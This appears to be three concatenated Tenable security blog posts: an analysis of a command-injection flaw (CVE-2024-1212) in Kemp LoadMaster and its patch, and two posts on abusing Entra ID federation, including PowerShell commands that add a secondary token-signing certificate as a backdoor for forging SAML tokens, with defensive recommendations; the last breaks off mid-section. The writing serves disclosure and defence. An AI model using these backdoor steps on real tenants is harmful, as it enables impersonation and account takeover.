Rhino Labs showed that attacker controlled data is read by the access binary when sending an enableapi command to the /access endpoint. The attacker controlled data exists as the ‘username’ in the Authorization header. The username value is put into the REMOTE_USER environment variable. The value stored in REMOTE_USER is retrieved by the access binary and ends up as part of a string passed to a system() call. The system call executes the validuser binary and a carefully crafted payload allows us to inject commands into the bash shell.

We also found that the REMOTE_PASS environment variable is exploitable in the same way here via the Authorization header.

This command execution is possible via any API command if the API is enabled. As Rhino Labs points out, When sending a GET request to the access API indicating the enableapi command, the access binary skips checking whether the API is enabled first or not, and the Authorization header is checked right away.

APIv2

While investigating this vulnerability, I noticed that LoadMaster has two APIs, the v1 API indicated above, and a v2 API that functions via the /accessv2 endpoint and JSON data. The access binary still processes these requests, but a slightly different path is followed. The logic of the main function is largely duplicated as a new function and called if the APIv2 is requested. That function then performs the same checks as above, with the slight exception that it will decode the API and pass the values of the apiuser and apipass keys to the same system call. So, we have another path to the same exposure:

While we can still control the password variable, it’s no longer exploitable here. Somewhere along the path the password string gets converted to base64 before being passed through the system() call, nullifying any injected quotes.

We can see below that the verify_perms function calls validu() with REMOTE_USER and REMOTE_PASS data in the APIv1 implementation; in the API v2 implementation the apiuser and apipass data is passed to validu() from the APIv2 JSON.

Patch

The patch solves these flaws quite simply by examining the username and password strings in the Authorization header for single quotes. If they contain a single quote, the patched function will truncate them just before the first single quote. Decompiling the patched access binary with Ghidra, we can see this:

Here we see the addition of the new function call for both username and password. The function loops over each character in the input string and if it is a single quote, it’s changed to a \0, null terminating the string.

Another Way to Test: Emulation

Even though we’ve got x86 linux binaries, we can’t run them natively on another linux machine due to potential library and ABI issues. Regardless, we can extract the filesystem and use a chroot and qemu to emulate the environment. Once we’ve extracted the filesystem, we can mount the ext2 filesystem ourselves:

sudo mount -t ext2 -o loop,exec unpatched.ext2 mnt/

Now we can explore the filesystem and execute binaries.

This provides us with a quick offline method to test our assumptions around injection. For instance, as we mentioned, the access binary is exploitable via the REMOTE_USER parameter:

First, we’ve copied the qemu-x86_64-static binary into our mounted filesystem. We’re using that with the -E flag to pass in a bunch of environment variables found via reversing access, one of which is the injectable REMOTE_USER. The whole thing is wrapped in chroot so that symbolic links and relative paths work correctly. We give /bin/access several flags which we’ve lifted straight from the CGI script that calls the binary

exec /bin/${0/*\//} -C $CLUST -F $FIPS -H $HW_VERSION

and from checking the ps debugging feature in the LoadMaster UI. Pro tip: check ps while running another longer running debug command like top or tcpdump in order to see better results.

root 13333 0.0 0.0 6736 1640 ? S 15:54 0:00 /sbin/httpd -port 8080 -address 127.0.0.1
root 16733 0.0 0.0 6736 112 ? S 15:59 0:00 /sbin/httpd -port 8080 -address 127.0.0.1
bal 16734 0.0 0.0 12064 2192 ? S 15:59 0:00 /bin/access -C 0 -F 0 -H 3
bal 16741 0.2 0.0 11452 2192 ? S 15:59 0:00 /usr/bin/top -d1 -n10 -b -o%CPU
bal 16845 0.0 0.0 7140 1828 ? R 15:59 0:00 ps auxwww

While this doesn’t provide us the complete method to exploit externally, it is a nice quick method to try out different injection strings and test assumptions. We can also pass a -g <port> parameter to qemu and then attach gdb to the process to get even closer to what’s happening.

Conclusion

This was a really cool find by Rhino Labs. Here I add one additional exploitation path and some additional ways to test for this vulnerability.

Tenable’s got you covered and can detect this vulnerability as part of your VM program with Tenable VM, Tenable SC, and Tenable Nessus. The direct check plugin for this vulnerability can be found at CVE-2024-1212. The plugin tests test both APIv1 and APIv2 paths for this command execution exposure.

Resources

https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/

https://support.kemptechnologies.com/hc/en-us/articles/24325072850573-Release-Notice-LMOS-7-2-59-2-7-2-54-8-7-2-48-10-CVE-2024-1212

https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212

Another Path to Exploiting CVE-2024-1212 in Progress Kemp LoadMaster was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Summary

Microsoft Entra ID (formerly known as Azure AD) offers a feature called federation that allows you to delegate authentication to another Identity Provider (IdP), such as AD FS with on-prem Active Directory. When users log in, they will be redirected to the external IdP for authentication, before being redirected back to Entra ID who will then verify the successful authentication on the external IdP and the user’s identity. This trust is based on the user returning with a token that is signed by the external IdP so that Entra ID can verify that it was legitimately obtained (i.e. not forged) and that its content is correct (i.e. not tampered with) 🔐

The external IdP signs the token with a private key, which has an associated public key stored in a certificate. To make this work, you need to configure this certificate in Microsoft Entra ID, along with other configuration for the federated domain. It accepts two token-signing certificates in the configuration of a federated domain, and both are equally accepted as token signers! 💥 This is by design to allow for automatic certificate renewal near its expiry. However, it’s important to note that this second token-signing certificate may be overlooked by defenders and their security tools! 👀

In this post, I’ll show you where this certificate can be found and how attackers can add it (given the necessary privileges) and use it to forge malicious tokens. Finally, I will provide some recommendations for defense in light of this.

This was discovered by Tenable Research while working on identity security.

Federation?

To learn more about federation and how attackers can exploit it to maintain or increase their privileges in an Entra tenant, please read my previous article ➡️ “Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation”. Note that in this article I described that a malicious or compromised user, who is assigned any of the following built-in Entra roles (as of January 2024), has the power to change federation settings, including both token-signing certificates:

• Global Administrator
• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

If the attacker gets their hands on a SAML token-signing certificate, for example by adding their own to the configuration as described in this post, they can forge arbitrary tokens that allow them to authenticate as anyone.

The corresponding MITRE ATT&CK techniques are:

• T1484.002 “Domain Policy Modification: Domain Trust Modification” for the initial operation where the attacker adds a secondary token-signing certificate
• T1606.002 “Forge Web Credentials: SAML Tokens” for the subsequent operation where the attacker forges a SAML token with the private key of the previously injected secondary token-signing certificate, before presenting the token to Entra ID as a fake proof of identity

Previous work

The technique of abusing federation was described by Mandiant in Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

The threat actor must first compromise an account with permission to modify or create federated realm objects.

These mentioned permissions are given by the roles previously listed. The main way is to modify the current token-signing certificate, stored in the “signingCertificate” attribute of the federation configuration. But this has the disadvantage of temporarily breaking the authentication and thus making the attack somewhat visible.

In the same (2021) paper, Mandiant also described a variant, where the attacker adds a secondary token-signing certificate instead of changing the main one:

A threat actor could also modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack (similar to Golden SAML) where the threat actor controls a private key that can digitally sign SAML tokens and is trusted by Azure AD.

So while this article will not unveil anything new 😔, it does aim to shed more light on this lesser-known issue 😉

Interest for attackers

Do you wonder how this secondary token-signing certificate can be useful for attackers, and why should you care?

The first interest is that mature cyber organizations and security tools are already scanning and monitoring the primary token-signing certificate. So attackers may leverage this lesser-known secondary token-signing certificate for a stealthier attack.

Moreover, if an attacker replaces the normal primary token-signing certificate with their own, they will (temporarily) disrupt the authentication for regular users, which is not discreet! Using the secondary certificate instead does not have this breaking side effect and thus is stealthier. An alternative would be to register a new federated domain, but this rarely happens normally, so it might also raise alarms.

I believe this technique will become even more popular among attackers now that the latest version of AADInternals by Dr. Nestori Syynimaa, 0.9.3 published in January 2024, will automatically inject the backdoor certificate as a secondary token-signing certificate in case the domain is already federated:

Modified ConvertTo‑AADIntBackdoor to add backdoor certificate to NextSigningCertificate if the domain is already federated.

With this new knowledge we also understand why Microsoft recommends in their “Emergency rotation of the AD FS certificates” article to renew the token-signing certificate twice because:

You’re creating two certificates because Microsoft Entra ID holds on to information about the previous certificate. By creating a second one, you’re forcing Microsoft Entra ID to release information about the old certificate and replace it with information about the second one. If you don’t create the second certificate and update Microsoft Entra ID with it, it might be possible for the old token-signing certificate to authenticate users.

If you are an AD security veteran, it certainly reminds you of something, and you are right 😉 Such a Golden SAML attack against cloud Entra ID is similar to the famous Golden Ticket attack against on-prem AD, and it’s interesting to see the same remediation guidance, which is to renew twice the token-signing certificate/krbtgt respectively, and it’s for the same reason!

Attribute/argument to manage the secondary token-signing certificate

As described in my previous article, there are several APIs available to interact with Entra ID. In the following we will see how a secondary token-signing certificate can be injected using the 🟥 Provisioning API / MSOnline (MSOL, which will be deprecated this year (2024) ⚠️), then using the 🟩 Microsoft Graph API / Microsoft Graph PowerShell SDK. The colored squares 🟥🟩 are the same as in my previous article and they allow to visually distinguish both APIs.

When using the 🟩 MS Graph API, the configuration of a federated domain is returned as an internalDomainFederation object. The main certificate is in the signingCertificate attribute, and the second token-signing certificate is in the nextSigningCertificate attribute which is described as:

Fallback token signing certificate that can also be used to sign tokens, for example when the primary signing certificate expires. […] Much like the signingCertificate, the nextSigningCertificate property is used if a rollover is required outside of the auto-rollover update, a new federation service is being set up, or if the new token signing certificate isn’t present in the federation properties after the federation service certificate has been updated.

I helped Microsoft improve this description a little because the initial one, in my opinion, could be understood as if the second certificate were only usable during a rollover operation, whereas it can be used at any time simultaneously like the main certificate! I contacted MSRC first and they confirmed that it was working as intended.

When using the 🟥 Provisioning API (MSOnline), you can find arguments with the same names: -SigningCertificate and -NextSigningCertificate (proof that this secondary token-signing certificate has been here for a long time, i.e. it was not introduced recently with the MS Graph API).

Generate certificates

In the following examples, we will need two token-signing certificates that you can generate using these PowerShell commands:

$certStoreLocation = "cert:\CurrentUser\My"

$primary = New-SelfSignedCertificate -Subject "primary token-signing certificate" -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddDays(1)
$primary_certificate = [System.Convert]::ToBase64String($primary.GetRawCertData())
Get-ChildItem $($certStoreLocation + "\" + $primary.Thumbprint) | Remove-Item

$secondary = New-SelfSignedCertificate -Subject "secondary token-signing certificate" -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddDays(1)
$secondary_certificate = [System.Convert]::ToBase64String($secondary.GetRawCertData())
Get-ChildItem $($certStoreLocation + "\" + $secondary.Thumbprint) | Remove-Item

They delete the generated certificates because we only need their public part and not the private key for the demonstrations below, but of course, an attacker would keep the private key since it’s required to then generate forged tokens.

Convert a domain to federated including a secondary token-signing certificate

For each example below, the prerequisite is having a verified domain, but not yet converted to federated, and our goal is to convert it to federated with two certificates ⤵️

🟥 Provisioning API: using Set-MsolDomainAuthentication

Using Set-MsolDomainAuthentication:

Set-MsolDomainAuthentication `
    -DomainName $domain `
    -Authentication Federated `
    -SigningCertificate $primary_cert `
    -NextSigningCertificate $secondary_cert `
    -IssuerUri "https://example.com/$('{0:X}' -f (Get-Date).GetHashCode())" -LogOffUri "https://example.com/logoff" -PassiveLogOnUri "https://example.com/logon"

And we can check that we do indeed see both certificates:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

🟩 MS Graph API: using New-MgDomainFederationConfiguration

Using New-MgDomainFederationConfiguration:

New-MgDomainFederationConfiguration `
    -DomainId $domain `
    -FederatedIdpMfaBehavior "acceptIfMfaDoneByFederatedIdp" `
    -SigningCertificate $primary_cert `
    -NextSigningCertificate $secondary_cert `
    -IssuerUri "https://example.com/$('{0:X}' -f (Get-Date).GetHashCode())" -SignOutUri "https://example.net/something" -PassiveSignInUri "https://example.net/something"

And we can check that we do indeed see both certificates:

PS> Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

Add a secondary token-signing certificate to an existing federated domain

For each example below, the prerequisite is having an already federated domain, but with just a primary token-signing certificate, and our goal is to add a secondary one ⤵️

🟥 Provisioning API: using Set-MsolDomainFederationSettings

First, check that it’s indeed a federated domain with just a primary token-signing certificate:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate :

Then, add a secondary certificate using Set-MsolDomainFederationSettings:

Set-MsolDomainFederationSettings `
    -DomainName $domain `
    -NextSigningCertificate $secondary_cert

Finally, we can check now that we do indeed see both certificates:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

🟥 Provisioning API: using AADInternals’ ConvertTo-AADIntBackdoor

Ensure we have the latest version of AADInternals (>= v0.9.3):

PS> Import-Module AADInternals
[...]  
v0.9.3 by @DrAzureAD (Nestori Syynimaa)

Using ConvertTo-AADIntBackdoor:

ConvertTo-AADIntBackdoor `
    -DomainName $domain `
    -AccessToken $at `
    -Verbose

The verbose output is clear enough:

VERBOSE: Domain example.net is Federated, modifying NextTokenSigningCertificate

And we can check again that we do indeed see both certificates:

PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

🟩 MS Graph API: using Update-MgDomainFederationConfiguration

Using Update-MgDomainFederationConfiguration:

$fedconf = Get-MgDomainFederationConfiguration -DomainId $domain
Update-MgDomainFederationConfiguration `
    -DomainId $domain `
    -InternalDomainFederationId $fedconf.Id `
    -NextSigningCertificate $secondary_cert

And we can check that we do indeed see both certificates:

PS> Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List

SigningCertificate     : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==

Proof that both token-signing certificates work simultaneously

Since the beginning I’ve been telling you that both token-signing certificates are accepted as signers, even if the primary is not expired, but I owe you a proof after all! In the following example, I create two different certificates as described previously and extract their private keys. Then I convert the domain to federated with both token-signing certificates configured, which you can see in the output at the bottom. Finally, I successfully authenticate with a ticket forged with each token-signing certificate private key using Open-AADIntOffice365Portal (to make it work, I had to fix an unrelated bug brought in v.0.9.3 of AADInternals):

Recommendations for defense

The main recommendations are the same as in my previous article.

🤔 Be careful about assigning the Entra roles that allow changing federation configuration, thereby adding a secondary token-signing certificate:

• Global Administrator
• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

🔍 Audit and monitor the configuration of your federated domain(s) to detect the potential already existing, or future, backdoors. Here is a PowerShell oneliner to list your federated domains and their configured SigningCertificate/NextSigningCertificate:

Get-MgDomain | Where-Object { $_.AuthenticationType -eq "Federated" } | ForEach-Object { $_ ; Get-MgDomainFederationConfiguration -DomainId $_.Id | select SigningCertificate,NextSigningCertificate }

🆘 Seek assistance from Incident Response specialists with expertise on Entra ID in case of suspicion

😑 Migrating away from federated authentication (i.e. decommissioning AD FS), has many advantages and is recommended by Microsoft, but it does not protect against this. It only makes it easier to detect it because any new “federated” domain, or any change in “federation” settings, should raise an alert 🚨

🚨 On the subject of monitoring, you can “Monitor changes to federation configuration in your Microsoft Entra ID” as recommended by Microsoft. Which is made easier if your organization doesn’t use (anymore) federation (as written above). But unfortunately the “Set federation settings on domain” AuditLogs event doesn’t contain the information allowing you to determine if the modification affected the token-signing certificates, and even if it did, there are no details on the certificates themselves as you can see:

🙈 Finally, since this secondary token-signing certificate can be a blind spot, ensure that your security tools can monitor and scan both certificates for anomalies. Tenable Identity Exposure which offers many Indicators of Exposure dedicated to this subject (“Known Federated Domain Backdoor”, “Federation Signing Certificates Mismatch”, “Federated Domains List”, “Unusual Federation Signing Certificate Validity Period”, “Unverified Domain”), and of course we designed them so they cover both certificates 😉

Stealthy Persistence & PrivEsc in Entra ID by using the Federated Auth Secondary Token-signing Cert. was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Microsoft Entra ID (formerly known as Azure AD) allows delegation of authentication to another identity provider through the legitimate federation feature. However, attackers with elevated privileges can abuse this feature, leading to persistence and privilege escalation 💥.

But what are exactly these “elevated privileges” that are required to do so? 🤔 In this article, we are going to see that the famous “Global Administrator” role is not the only one allowing it! 😉 Follow along (or skip to the conclusion!) to learn which of your Entra administrators have this power, since these are the ones that you must protect first.

This was discovered by Tenable Research while working on identity security.

Federation?

By default, users submit their credentials to Entra ID (usually on the login.microsoftonline.com domain) which is in charge of validating them, either on its own if it’s a cloud-only account, or helped by the on-premises Active Directory (using hashes of AD password hashes already synchronized from AD via password hash sync, or by sending the password to AD for verification via pass-through authentication).

But there is another option: a Microsoft Entra tenant can use federation with a custom domain to establish trust with another domain for authentication and authorization. Organizations mainly use federation to delegate authentication for Active Directory users to their on-premises Active Directory Federation Services (AD FS). This is similar to the concept of “trust” in Active Directory. ⚠️ However, do not confuse the “custom domain” with an Active Directory “domain”!

When a user types their email on the login page, Entra ID detects when the domain is federated and then redirects the user to the URL of the corresponding Identity Provider (IdP), which obtains and verifies the user’s credentials, before redirecting the user to Entra ID with their proof (or failure) of authentication in the form of a signed SAML or WS-Federation (“WS-Fed” for short) token.

🏴‍☠️ However, if malicious actors gain elevated privileges in Microsoft Entra ID, they can abuse this federation mechanism to create a backdoor by creating a federated domain, or modifying an existing one, allowing them to impersonate anyone, even bypassing MFA.

The potential for abuse of this legitimate feature was initially discovered by Dr. Nestori Syynimaa: “Security vulnerability in Azure AD & Office 365 identity federation”, where he described how it concerns even cloud-only users, and even allows bypassing MFA, and further described it in “How to create a backdoor to Azure AD — part 1: Identity federation”. If you are curious, he also shared a “Deep-dive to Azure Active Directory Identity Federation”. He also hosts an OSINT tool allowing to list the domains, including if they are federated (to which IdP), of any tenant without even having to be authenticated to it!

This technique is currently used by threat actors, such as reported by Microsoft Incident Response on October 2023 in “Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction”:

Octo Tempest targets federated identity providers using tools like AADInternals to federate existing domains, or spoof legitimate domains by adding and then federating new domains. The threat actor then abuses this federation to generate forged valid security assertion markup language (SAML) tokens for any user of the target tenant with claims that have MFA satisfied, a technique known as Golden SAML

I also wrote an article describing how attackers can exploit the federated authentication’s secondary token-signing certificate for stealthier persistence and privilege escalation.

The corresponding MITRE ATT&CK techniques are:

• T1484.002 “Domain Policy Modification: Domain Trust Modification” for the initial operation where the attacker adds a secondary token-signing certificate
• T1606.002 “Forge Web Credentials: SAML Tokens” for the subsequent operation where the attacker forges a SAML token with the private key of the previously injected secondary token-signing certificate, before presenting the token to Entra ID as a fake proof of identity

🛡️ You will find recommendations to defend against this at the end of this article.

This federation feature for internal users (aka “members”) must not be confused with another federation feature in Entra ID, meant for guests (aka “external identities”) which allows “Federation with SAML/WS-Fed identity providers for guest users” using configurable “Identity Providers for External Identities”. This research and article are focused on the former: internal federation.

APIs available to interact with Entra ID

Performing this attack requires interacting with Entra ID of course, which is done through APIs. There are several available, offering more or less the same features, as described by Dr. Nestori Syynimaa in his talk “AADInternals: How did I built the ultimate Azure AD hacking tool from the scratch”. However, we will see that sometimes, an action that is forbidden for a certain role by one API is allowed by another! 😨 The behavior of some actions is also different between the APIs, while some actions are only possible with older APIs.

I prefer mentioning the APIs instead of the admin (i.e. PowerShell) or hack tools that I used, since it is what actually matters whether the tool calling them.

🟥 Provisioning API / MSOnline (MSOL)

The MSOnline V1 PowerShell module is going to be ⚠️ deprecated soon in March 2024 but it is still working, so it remains available to attackers too. You can recognize its usage because all the cmdlets contain “Msol”, for example “Get-MsolUser”.

It relies on an API unofficially called the “provisioning API” available at the “https://provisioningapi.microsoftonline.com/provisioningwebservice.svc” address. This API is not publicly documented and it uses the SOAP protocol.

It was replaced by the Azure AD Graph API (see below).

🟦 Azure AD Graph API

Likewise, the AzureAD PowerShell module is going to be ⚠️ deprecated soon in March 2024 but it is still working, so it remains available to attackers too. You can recognize its usage because all the cmdlets contain “AzureAD”, for example “Get-AzureADUser”.

It relies on an API called the Azure AD Graph API available on https://graph.windows.net/. This API is publicly documented and it exposes REST endpoints.

It was replaced by the Microsoft Graph API (see below), with which it must not be confused.

🟩 Microsoft Graph API / Microsoft Graph PowerShell SDK

Microsoft Graph is the newest API offered, and currently recommended, by Microsoft to interact with Entra ID and other Microsoft cloud services (e.g. Microsoft 365). The API is available on https://graph.microsoft.com. It is publicly documented and it exposes REST endpoints.

There are also several SDKs offered to interact with it, including the Microsoft Graph PowerShell SDK. You can recognize its usage because all the cmdlets contain “Mg”, for example “Get-MgUser”.

Entra roles and permissions

Entra ID follows the RBAC model to declare who can do what. Principals (user, group, service principal) are assigned Roles on some Scope (entire tenant, or specific Administrative Unit, or even a single object). Each Entra Role is defined by the Entra Permissions (also called “actions” in Microsoft documentation) it gives.

⚠️ Do not confuse Entra RBAC, using Entra roles and meant to control access to Entra ID resources (users, groups, devices, IdP configuration, etc.), with Azure RBAC, using Azure roles and meant to control access to Azure cloud resources (virtual machines, databases, network, storage accounts, websites, etc.). Take the time to read this article if you have doubts: “Azure roles, Microsoft Entra roles, and classic subscription administrator roles”.

⚠️ Do not confuse Entra permissions (like “microsoft.directory/domains/allProperties/allTasks”) with the Entra API permissions (like the famous “Directory.ReadWrite.All” permission of MS Graph API).

There are around 100 Entra built-in roles (as of December 2023), the most famous and powerful being Global Administrator. Customers can create their own Entra custom roles containing exactly the permissions they want (but only some are supported).

My goal in this article is to identify exactly which Entra roles, and hopefully exact Entra permission(s), allow attackers to abuse the federation feature for malicious purposes.

After a quick review of the Entra roles recommended by the documentation to configure this feature, and the list of all available Entra permissions (in particular those under “microsoft.directory/domains/”), I have selected for my tests these roles listed with their relevant permissions. The “[💥privileged]” tag below marks privileged roles according to Microsoft (as of November 2023), thanks to the recent feature “Privileged roles and permissions in Microsoft Entra ID”. Notably, none of these permissions is considered privileged.

Global Administrator [💥privileged]

• microsoft.directory/domains/allProperties/allTasks
• microsoft.directory/domains/federationConfiguration/basic/update
• microsoft.directory/domains/federationConfiguration/create

Security Administrator [💥privileged]

• microsoft.directory/domains/federation/update
• microsoft.directory/domains/federationConfiguration/basic/update
• microsoft.directory/domains/federationConfiguration/create

Hybrid Identity Administrator [💥privileged]: according to its description, this role is meant to manage federation for internal users (among other features), which is the feature I’m focusing on

• microsoft.directory/domains/federation/update
• microsoft.directory/domains/federationConfiguration/basic/update
• microsoft.directory/domains/federationConfiguration/create

External Identity Provider Administrator: according to its description, this role is meant to manage federation for external users, which is not what this is about, but we never know… so I have included it

• microsoft.directory/domains/federation/update

Domain Name Administrator

• microsoft.directory/domains/allProperties/allTasks

Partner Tier1 Support [💥privileged]: Microsoft has been saying for months that this role should not be used since it is deprecated, and its mentions have been recently removed from the documentation, but since it is still functioning (as of November 2023) and thus abusable by attackers, I have decided to include it

• <none>

Partner Tier2 Support [💥privileged]: Microsoft has been saying for months that this role should not be used since it is deprecated, and its mentions have been recently removed from the documentation, but since it is still functioning (as of November 2023) and thus abusable by attackers, I have decided to include it

• microsoft.directory/domains/allProperties/allTasks

Methodology

I used a single Entra tenant, with several Entra users: one user per role I wanted to test (with the role assigned of course).

I wrote several PowerShell scripts, which clean the environment if needed (to allow several consecutive runs), call the cmdlets corresponding to the API to test, and then check the result. That way I obtained reliable and reproducible test cases.

The scripts are publicly available on GitHub: https://github.com/tenable/entra-id-federation-abuse-research-required-roles

Steps of the killchain

Create and verify domain

Federation needs a custom domain name configured in Entra ID to work. You can list them in the Entra admin center (or Azure Portal):

Domains can either be:

• “Managed”, by default. No check in the “Federated” column in the screenshot above.
  Users submit their credentials to Entra ID.
• “Federated”, when federation is enabled on a domain. Check in the “Federated” column.
  Users are redirected to the federated IdP to which they submit their credentials and Entra ID trusts the token it emits.

Administrators can convert a domain between each of these modes.

Now, from an attacker’s perspective, if there is no custom domain available (apart from the default <tenant>.onmicrosoft.com), we have to create one and verify it to prove that we own it. These are two steps, using different API endpoints / PowerShell cmdlets.

Creating a new domain is at the same time more visible, due to the added domain, but also less visible since this new domain will only be used by the attacker and it will not disrupt the existing authentication process for normal users, as hinted by Mandiant:

Note: To not interrupt production and authentication with an existing federated domain (and to remain undetected), an attacker may opt to register a new domain with the tenant.

🟥 Provisioning API: using New-MsolDomain and Confirm-MsolDomain

Attempts were:

✅ allowed for:

• Global Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Access Denied. You do not have permissions to call this cmdlet”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier1 Support

🟦 Azure AD Graph API: using New-AzureADDomain and Confirm-AzureADDomain

API endpoints: create a domain and verify action

Attempts were:

✅ allowed for:

• Global Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Partner Tier1 Support

I noticed that contrary to the provisioning API, the Domain Name Administrator role is allowed to create and verify a domain with the MS Graph API.

🟩 MS Graph API: using New-MgDomain and Confirm-MgDomain

API endpoints: create domain and verify domain

Attempts were:

✅ allowed for:

• Global Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Partner Tier1 Support

So, exactly the same results as with Azure AD Graph just above.

Convert domain to federated mode / add federation configuration

The next step is to convert the target custom domain to Federated mode, either:

• the custom domain was already present, but configured in the default Managed mode. ⚠️ converting it to Federated mode will cause disruptions to users who normally use this domain for authentication!
• the attacker was able to create and verify a new domain as described just above

Converting the domain to federated requires providing federation configuration information. Indeed, federation requires some configuration on Entra ID-side, for instance the certificate used by the federated IdP to sign the token which is the authentication proof, and the IssuerUri that uniquely identifies a federation service allowing to identify to which domain the token is linked.

This technique was described by Mandiant:

• Detecting Microsoft 365 and Azure Active Directory Backdoors (2020):

This can be obtained by converting a managed domain to a federated domain

• Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

The threat actor must first compromise an account with permission to modify or create federated realm objects […] Mandiant observed connections to a Microsoft 365 tenant with MSOnline PowerShell followed by the configuration of a new, attacker-controlled domain as federated

And also by Dr. Nestori Syynimaa in “How to create a backdoor to Azure AD — part 1: Identity federation”.

🟥 Provisioning API: using Set-MsolDomainAuthentication or AADInternals’ ConvertTo-AADIntBackdoor

Attempts were:

✅ allowed for:

• Global Administrator
• Partner Tier2 Support

❌ denied for these, with this error message “Access Denied. You do not have permissions to call this cmdlet”

• Security Administrator
• Hybrid Identity Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier1 Support

🟦 Azure AD Graph API: not supported

I did not find any Azure AD Graph API endpoint, nor AzureAD PowerShell cmdlet, for converting a domain to federated.

🟩 MS Graph API: using New-MgDomainFederationConfiguration

API endpoint: Create internalDomainFederation

Attempts were:

✅ allowed for:

• Global Administrator
• Security Administrator
• External Identity Provider Administrator
• Domain Name Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Hybrid Identity Administrator
• Partner Tier1 Support

Once again, I noticed differences between the roles allowed by the provisioning API and the MS Graph API.

Thanks to this observation, I suggested an update in the official Entra ID doc page.

Add second federation configuration

While looking at the APIs, I noticed that it was possible to List internalDomainFederations, notice the plural, and that it returned a collection (array). So I had the idea of trying to add a second federation configuration to an existing domain!

Unfortunately, it failed with this error “Domain already has Federation Configuration set.” and indeed the doc could have given me a hint: “This API returns only one object in the collection […] collection of one internalDomainFederation object in the response body.”

Change existing federation configuration

Another way for attackers is to change the federation configuration of an existing federated domain to allow crafting tokens with the attacker’s own token-signing certificate. This is similar to a Golden SAML attack but instead of stealing the key, the attacker is inserting theirs, and instead of presenting the forged token to a service, they present it to the IdP.

This technique was described by Mandiant in Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

The threat actor must first compromise an account with permission to modify or create federated realm objects.

The main way is to modify the current token-signing certificate, stored in the “signingCertificate” attribute of the federation configuration, which has the disadvantage of temporarily breaking the authentication and thus making it noticeable.

A variant is also possible, where instead of changing the main token-signing certificate, the attacker adds a secondary token-signing certificate thanks to the “nextSigningCertificate” attribute. This variant was described by Mandiant in Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):

A threat actor could also modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack (similar to Golden SAML) where the threat actor controls a private key that can digitally sign SAML tokens and is trusted by Azure AD.

This secondary token-signing certificate was meant to prepare a rollover operation when the main one expires. However, both are accepted as token signers even when the first one has not expired yet. Microsoft Security (MSRC) has confirmed to me it was an intended behavior and working as expected. Therefore, I updated the public documentation:

nextSigningCertificate: Fallback token signing certificate that can also be used to sign tokens

This is also the reason why Microsoft recommends in their “Emergency rotation of the AD FS certificates” article to renew twice the token-signing certificate because:

You’re creating two certificates because Azure [Entra ID] holds on to information about the previous certificate. By creating a second one, you’re forcing Azure [Entra ID] to release information about the old certificate and replace it with information about the second one. If you don’t create the second certificate and update Azure [Entra ID] with it, it might be possible for the old token-signing certificate to authenticate users.

🟥 Provisioning API: using Set-MsolDomainFederationSettings

Attempts were:

✅ allowed for:

• Global Administrator
• Hybrid Identity Administrator
• Partner Tier2 Support

❌ denied for these, with this error message right from the first creation step “Insufficient privileges to complete the operation.”

• Domain Name Administrator
• External Identity Provider Administrator
• Security Administrator
• Partner Tier1 Support

I noticed a difference here, with Set-MsolDomainAuthentication shown above, in that the “Hybrid Identity Administrator” role is now allowed.

🟦 Azure AD Graph API: not supported

I did not find any Azure AD Graph API endpoint, nor AzureAD PowerShell cmdlet, for modifying federation configuration. In the AzureADPreview module, there is the “New-AzureADExternalDomainFederation” cmdlet but it deals with federation for external users, not for internal users (as described at the beginning) which is the one I needed.

🟩 MS Graph API: using Update-MgDomainFederationConfiguration

